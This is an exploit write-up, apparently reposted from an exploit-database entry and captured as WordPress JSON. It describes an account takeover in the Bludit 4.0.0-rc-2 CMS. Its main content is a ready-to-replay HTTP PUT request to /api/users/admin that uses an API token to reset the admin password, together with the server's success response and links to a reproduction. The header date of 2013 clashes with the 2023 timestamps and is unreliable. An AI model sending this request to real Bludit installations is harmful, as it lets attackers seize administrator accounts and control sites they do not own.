## Title: Bludit-4.0.0-rc-2 – Release candidate 2 Account takeover:
\nAPI token vulnerability
\n## Author: nu11secur1ty
\n## Date: 04.11.2013
\n## Vendor: https:\/\/www.bludit.com\/
\n## Software: https:\/\/github.com\/bludit\/bludit\/releases\/tag\/4.0.0-rc-2
\n## Reference: https:\/\/www.cloudflare.com\/learning\/access-management\/account-takeover\/
\n## Reference: https:\/\/portswigger.net\/daily-swig\/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit<\/p>\n
## Description:
\nThe already authenticated attacker can send a normal request to change
\nhis password and then he can use
\nthe same JSON `object` and the vulnerable `API token KEY` in the same
\nrequest to change the admin account password.
\nThen he can access the admin account and he can do very malicious stuff.<\/p>\n
STATUS: HIGH Vulnerability<\/p>\n[+]Exploit:
\n“`PUT
\nPUT \/api\/users\/admin HTTP\/1.1
\nHost: 127.0.0.1:8000
\nContent-Length: 138
\nsec-ch-ua: “Not:A-Brand”;v=”99″, “Chromium”;v=”112″
\nsec-ch-ua-platform: “Windows”
\nsec-ch-ua-mobile: ?0
\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)
\nAppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/112.0.5615.50
\nSafari\/537.36
\ncontent-type: application\/json
\nAccept: *\/*
\nOrigin: http:\/\/127.0.0.1:8000
\nSec-Fetch-Site: same-origin
\nSec-Fetch-Mode: cors
\nSec-Fetch-Dest: empty
\nReferer: http:\/\/127.0.0.1:8000\/admin\/edit-user\/pwned
\nAccept-Encoding: gzip, deflate
\nAccept-Language: en-US,en;q=0.9
\nCookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthui
\nConnection: close<\/p>\n
{“token”:”4f8df9f64e84fa4562ec3a604bf7985c”,”authentication”:”6d1a5510a53f9d89325b0cd56a2855a9″,”username”:”pwned”,”password”:”password1″}<\/p>\n
“`<\/p>\n[+]Response:
\n“`HTTP
\nHTTP\/1.1 200 OK
\nHost: 127.0.0.1:8000
\nDate: Tue, 11 Apr 2023 08:33:51 GMT
\nConnection: close
\nX-Powered-By: PHP\/7.4.30
\nAccess-Control-Allow-Origin: *
\nContent-Type: application\/json<\/p>\n
{“status”:”0″,”message”:”User edited.”,”data”:{“key”:”admin”}}
\n“`<\/p>\n
## Reproduce:
\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/bludit\/2023\/Bludit-v4.0.0-Release-candidate-2)<\/p>\n
## Proof and Exploit:
\n[href](https:\/\/streamable.com\/w3aa4d)<\/p>\n
## Time spend:
\n00:57:00<\/p>\n","protected":false},"excerpt":{"rendered":"
## Title: Bludit-4.0.0-rc-2 – Release candidate 2 Account takeover: API token vulnerability ## Author: nu11secur1ty ## Date: 04.11.2013 ## Vendor: https:\/\/www.bludit.com\/ ## Software: https:\/\/github.com\/bludit\/bludit\/releases\/tag\/4.0.0-rc-2 ## Reference: https:\/\/www.cloudflare.com\/learning\/access-management\/account-takeover\/ ## Reference: https:\/\/portswigger.net\/daily-swig\/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit ## Description: The already authenticated attacker can send a normal request to change his password and then he can use the same JSON `object` and …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-40285","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40285","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=40285"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40285\/revisions"}],"predecessor-version":[{"id":40291,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40285\/revisions\/40291"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=40285"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=40285"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=40285"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}